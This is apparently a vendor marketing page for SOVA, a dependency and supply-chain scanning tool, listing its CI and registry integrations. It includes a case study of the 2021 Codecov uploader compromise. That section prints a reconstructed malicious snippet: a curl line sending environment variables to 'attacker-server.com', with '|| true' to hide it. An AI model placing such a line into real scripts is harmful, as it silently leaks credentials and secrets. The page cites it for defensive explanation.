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SOVA integrates seamlessly with your existing development tools and workflows. Connect your repositories, CI/CD pipelines, and container registries in minutes.
SOVA integrates with the tools your teams already use. No workflow disruption, no context switching. GitHub, GitLab, Azure DevOps, Docker Hub, and AWS ECR — all connected in minutes.
How It Works
Link your GitHub, GitLab, Azure DevOps, Docker Hub, or AWS ECR via PAT or webhook
ParserEngine clones repos and extracts dependencies across 28+ languages automatically
Recursive graph analysis traces transitive chains up to 10 levels deep with cycle detection
Vulnerabilities, licenses, and compliance issues surfaced across the entire dependency tree
Connect via Personal Access Token for automated repository scanning. Full repo listing, webhook-based scanning on every push, and real-time security alerts on pull requests.
Install GitHub App or use Personal Access Token
Integrate via Personal Access Token for continuous pipeline security. Automated scanning on merge requests, compliance gates, and SARIF report generation.
Add SOVA to .gitlab-ci.yml
Full Azure DevOps integration for enterprise pipelines. Build-time scanning, artifact analysis, policy enforcement, and compliance reporting.
Install Azure DevOps extension
Scan container images in Amazon ECR with automated credential management. Full registry browsing, tag enumeration, and vulnerability tracking across all images.
Configure AWS IAM roles and permissions
Connect Docker Hub repositories for continuous container security. Credential management, repository listing, tag scanning, and image layer analysis.
Connect with Docker Hub credentials
Manually upload source code archives, binaries, or build artifacts for analysis.
No setup required - just upload
Import existing SBOMs in SPDX or CycloneDX format for analysis and enrichment.
Upload JSON or XML SBOM files
Connect Bitbucket repositories for continuous security monitoring and analysis.
Install Bitbucket Cloud app
Our USP
Most SCA tools stop at direct dependencies or 2-3 levels deep. SOVA traces every transitive chain up to 10 levels — because the vulnerability hiding at level 8 is just as dangerous as the one at level 1.
Recursive graph analysis across 28+ languages with cycle detection
Depth Comparison
Capabilities
Why This Matters
Log4Shell was a transitive dependency in most projects — hidden 3-7 levels deep. Organizations that only scanned direct dependencies never found it until it was too late.
Real-World Incident Analysis
criticalAttack Timeline
Jan 31, 2021
exploit
Uploader modified
Attackers alter Codecov's bash uploader script in Docker image
Jan-Apr 2021
impact
Silent exfiltration
CI environment variables stolen from every pipeline run
Apr 1, 2021
discovery
Customer discovers
Twitch security engineer notices anomaly in their CI
Apr 15, 2021
disclosure
Public disclosure
Codecov publishes security advisory
Apr 2021
patch
Remediation
Affected customers rotate all secrets exposed via CI
Jan 31, 2021
Uploader modified
Attackers alter Codecov's bash uploader script in Docker image
Jan-Apr 2021
Silent exfiltration
CI environment variables stolen from every pipeline run
Apr 1, 2021
Customer discovers
Twitch security engineer notices anomaly in their CI
Apr 15, 2021
Public disclosure
Codecov publishes security advisory
Apr 2021
Remediation
Affected customers rotate all secrets exposed via CI
Attack Flow
Attacker
Exploits Docker image build process at Codecov
Bash Uploader
Modified to exfiltrate CI environment variables
CI Pipelines
29,000+ customers run compromised script in CI
Secrets Stolen
API tokens, AWS keys, GitHub tokens exfiltrated
Attacker
Exploits Docker image build process at Codecov
Bash Uploader
Modified to exfiltrate CI environment variables
CI Pipelines
29,000+ customers run compromised script in CI
Secrets Stolen
API tokens, AWS keys, GitHub tokens exfiltrated
Vulnerable Code
1#!/bin/bash2# Original Codecov bash uploader — MODIFIED by attacker34# Legitimate upload function5upload_coverage() {6curl -s https://codecov.io/upload ...7}89# INJECTED: Exfiltrate all CI environment variables10curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" \\11http://attacker-server.com/upload/v2 || true1213# The '|| true' ensures the script doesn't fail14# so no one notices the exfiltration
What Happened
Attackers modified Codecov's bash uploader to silently send all environment variables — including API keys, tokens, and secrets — to an attacker-controlled server. The '|| true' ensured CI pipelines continued running normally, hiding the compromise for months.
How SOVA Prevents This
SOVA's integration engine uses credential isolation, webhook verification, and continuous integrity checks.
Credential Isolation
IntegrationEngine stores credentials securely with scoped access — PATs never exposed in pipeline
Webhook Verification
GitHub/GitLab webhooks verified with HMAC signatures — prevents unauthorized scan triggers
SBOM Integrity
Every scan generates a signed SBOM — any tampering in the build pipeline is detectable
Deep Dependency Scan
10-level transitive analysis catches vulnerabilities hidden deep in dependency chains
Credential Isolation
IntegrationEngine stores credentials securely with scoped access — PATs never exposed in pipeline
Webhook Verification
GitHub/GitLab webhooks verified with HMAC signatures — prevents unauthorized scan triggers
SBOM Integrity
Every scan generates a signed SBOM — any tampering in the build pipeline is detectable
Deep Dependency Scan
10-level transitive analysis catches vulnerabilities hidden deep in dependency chains
Select the platform or tool you want to connect with SOVA from the list above.
Follow the platform-specific setup instructions to authenticate and configure the integration.
SOVA will automatically start scanning your repositories, images, or artifacts for vulnerabilities.
Connect SOVA to your repositories and registries in under 5 minutes.